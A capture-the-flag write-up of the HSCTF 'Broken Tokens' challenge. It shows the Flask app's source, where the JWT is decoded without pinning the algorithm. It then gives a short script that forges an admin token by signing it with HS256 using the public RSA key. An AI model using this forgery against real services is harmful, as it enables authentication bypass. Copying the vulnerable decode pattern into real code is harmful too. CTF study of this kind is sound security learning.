HSCTF Broken Tokens Write up
HSCTF was held on June 1 ~ 6 that was the middle of the week so that I couldn't solve many challenges. this CTF was very kind and educational to beginners like me!
recon
In the beginning, The given web page was like this.
It's a simple web page with login form and link to publickey.pem
Additionally, we were provided source code written in python.
import jwt
import base64
import os
import hashlib
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG")
PASSWORD = os.getenv("PASSWORD")
with open("privatekey.pem", "r") as f:
PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == "POST":
resp = make_response(redirect("/"))
if request.form["action"] == "Login":
if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
else:
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
resp.set_cookie("auth", auth)
else:
resp.delete_cookie("auth")
return resp
else:
auth = request.cookies.get("auth")
if auth is None:
logged_in = False
admin = False
else:
logged_in = True
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
resp = make_response(
render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
)
return resp
@app.route("/publickey.pem")
def public_key():
with open("./publickey.pem", "r") as f:
resp = make_response(f.read())
resp.mimetype = 'text/plain'
return resp
if __name__ == "__main__":
app.run()
According to this, we had to log in as admin that was authorized by JWT stored in cookie.
In the next, I logged in as a guest for testing the set cookie.
Got the cookie, I decoded the jwt to JSON as below.
As written in source code. it uses RS256 for authorization.
After some googling, I found this interesting article
If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
looking at source code, it specifies algorism when encoding but it doesn't when decoding! that's vulnerability.
exploit
I wrote a simple exploit code.
import jwt
with open("publickey.pem", "r") as f:
public = f.read()
print(public)
print(jwt.encode({'auth':'admin'}, key=public, algorithm='HS256'))
In this time, jwt uses HS256 for authorization instead of RS256 which means the server interprets as HS256 resulting in the corresponding key!
I set the jwt in cookie and reloaded ... got flag!
Thank you for reading my writeup in my poor English!